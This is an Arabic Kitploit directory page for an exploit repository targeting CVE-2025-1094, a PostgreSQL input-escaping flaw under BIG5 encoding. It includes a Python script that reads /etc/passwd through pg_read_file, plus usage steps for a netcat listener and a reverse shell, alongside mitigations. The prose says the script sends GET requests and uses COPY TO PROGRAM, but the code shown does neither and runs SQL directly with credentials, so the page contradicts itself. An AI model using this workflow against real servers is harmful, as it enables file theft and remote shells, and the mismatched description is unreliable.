Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-1094 — إنه عيب في تعقيم المدخلات ناتج عن عدم تطابق الترميز، مما يسمح للمدخلات المصممة بتجاوز المرشحات. إذا كان الخادم معرضًا للخطر، يمكن للمهاجم حقن SQL ضار ينفذه النهاية الخلفية. | Kitploit
أدوات/GitHubGitHub/aninfosec/cve-2025-1094
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولاتأمن قواعد البياناتمختبرات وتدريب عملي
GitHubaninfosec/cve-2025-1094

CVE-2025-1094

إنه عيب في تعقيم المدخلات ناتج عن عدم تطابق الترميز، مما يسمح للمدخلات المصممة بتجاوز المرشحات. إذا كان الخادم معرضًا للخطر، يمكن للمهاجم حقن SQL ضار ينفذه النهاية الخلفية.

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

#لقد كتبت هذا الاستغلال بالرجوع إلى إثبات المفهوم المتاح في CVE-2025-1094

CVE‑2025‑1094 | ثغرة تعقيم المدخلات في PostgreSQL

نظرة عامة

CVE‑2025‑1094 هي ثغرة تعقيم مدخلات في وظائف الهروب (libpq) في PostgreSQL والأداة التفاعلية psql. تنشأ من المعالجة غير السليمة للترميزات متعددة البايت عندما يكون ترميز العميل مضبوطاً على BIG5. في ظل ظروف معينة، يمكن أن يؤدي ذلك إلى سوء معالجة أحرف الهروب، مما يسمح للمهاجمين بتجاوز حدود الاستعلام المقصودة.

تم اكتشاف هذه الثغرة بواسطة Rapid7 أثناء تحليل CVE‑2024‑12356، وهي مشكلة منفصلة في أجهزة BeyondTrust. تم استغلال سلوك PostgreSQL كجزء من سلسلة ثغرات أوسع للتأثير بشكل أكبر على سلوك الخلفية.

كيف تعمل

عندما يمرر خادم ويب أو تطبيق إدخال المستخدم مباشرة إلى استعلامات SQL المنفذة عبر psql، ويكون client_encoding مضبوطاً على BIG5، يمكن للإدخال المصمم بعناية إنهاء عبارة SQL مبكراً وإلحاق SQL ضار.

يسمح هذا بإجراء عمليات إضافية مثل قراءة الملفات المحلية (مثل /etc/passwd) عبر وظائف PostgreSQL مثل lo_export أو pg_read_file أو وظائف مشابهة.

هذه ليست ثغرة تنفيذ أكواد عن بعد (RCE) في PostgreSQL بشكل افتراضي. بل هي إساءة استخدام لواجهات برمجة تطبيقات عميل PostgreSQL، والتي عند عدم تصفيتها أو هروبها بشكل صحيح، يمكن إساءة استخدامها لتسريب محتويات ملفات حساسة أو تنفيذ SQL خطير محتمل.

التأثير

  • يتيح الوصول لقراءة الملفات من خادم PostgreSQL إذا تم تكوينه بشكل غير آمن.
  • يسمح للمهاجمين الذين لديهم بيانات اعتماد صالحة باستغلال COPY TO أو pg_read_file أو lo_export عند دمجها مع حقن SQL في تطبيقات العميل.
  • تكون الاستغلالات فعالة فقط عندما يكون ترميز العميل BIG5 ولا يتم تعقيم الإدخال بشكل صحيح.

الشروط المطلوبة للاستغلال

  • المهاجم لديه بيانات اعتماد PostgreSQL صالحة (سياق موثَّق) أو الوصول إلى خادم ويب يرسل المدخلات مباشرة إلى خادم PostgreSQL.
  • خلفية SQL هي PostgreSQL وتستخدم إصدارًا ضعيفًا (قبل الإصدارات المصححة في يونيو 2025).
  • التطبيق يمرر مباشرة إدخالًا غير معقم إلى SQL.
  • عميل PostgreSQL مهيأ مع client_encoding=BIG5.

عرض الاستغلال

root@kitploit:~
import psycopg2

conn = psycopg2.connect(
    host="127.0.0.1",
    dbname="test",
    user="test",
    password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()

# حمولة لقراءة /etc/passwd إلى ملف يمكن للخادم الوصول إليه
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""

cursor.execute(sql)
conn.commit()

##✅ ما يفعله هذا الملف exploit.py:

يضبط PGCLIENTENCODING=BIG5 في البيئة (شرط التشغيل).

يصوغ حمولة حقن SQL للخروج من استعلام وإدراج أمر COPY TO PROGRAM جديد.

يرسل الحمولة عبر طلب GET إلى خادم الويب الضعيف (/search?q=...).

إذا استخدمت الخلفية psql وإدخالاً غير معقم، ينفذ COPY TO PROGRAM ويكتب النتيجة أو يفتح شيل.

⚠️ سينجح الشيل العكسي فقط إذا كان الخادم:

root@kitploit:~
ينفذ SQL باستخدام psql (وليس برامج تشغيل قواعد بيانات مع وسائط)
يسمح بـ COPY TO PROGRAM (يتطلب صلاحيات superuser)
لديه اتصال صادر مع المهاجم

#يرسل النص البرمجي بايثون حمولة مصممة بعناية إلى خادم ويب ضعيف يمرر الإدخال مباشرة إلى عملية psql في PostgreSQL بترميز BIG5:

خطوات الاستخدام:

ابدأ مستمعًا على الطرفية:

nc -lvnp 4444

عدّل ملف الاستغلال:

عيّن TARGET_URL إلى IP أو نطاق الخادم الهدف. تأكد من أن ENDPOINT يطابق المسار (مثل /search). اضبط REVERSE_IP و REVERSE_PORT ليتوافقا مع جهاز الهجوم.

نفذ النص في طرفية أخرى:

python3 exploit.py

النتيجة: إذا نجح، ستتلقى اتصالاً على المستمع. إذا لم ينجح، حاول قراءة الملفات (مثل /etc/passwd) باستخدام حمولات pg_read_file بدلاً من ذلك.

بيئة المختبر

لاختبار هذا:

  • PostgreSQL 14.x (أو إصدارات ضعيفة سابقة).
  • مهيأة بترميز EUC_TW أو ما شابه.
  • طبقة التطبيق (مثل Flask) تتفاعل مع PostgreSQL باستخدام psql أو SQL ديناميكي غير مهروب.
  • مستخدم PostgreSQL يجب أن يكون لديه صلاحية الوصول إلى وظائف مثل pg_read_file أو lo_export.

التخفيفات

  • الترقية إلى إصدارات PostgreSQL المصححة (≥ 17.3، 16.7، 15.11، 14.16، 13.19).
  • تجنب client_encoding=BIG5 إلا إذا كان ضرورياً صراحة.
  • لا تمرر أبداً إدخال المستخدم الخام إلى سياقات تنفيذ SQL.
  • استخدم العبارات المحضرة ومكتبات التحقق من المدخلات.

المراجع

  • مدونة Rapid7: تحليل فني
  • إعلان PostgreSQL: الإصدار الأمني يونيو 2025
  • تفاصيل CVE: CVE-2025-1094
تنزيل الأداة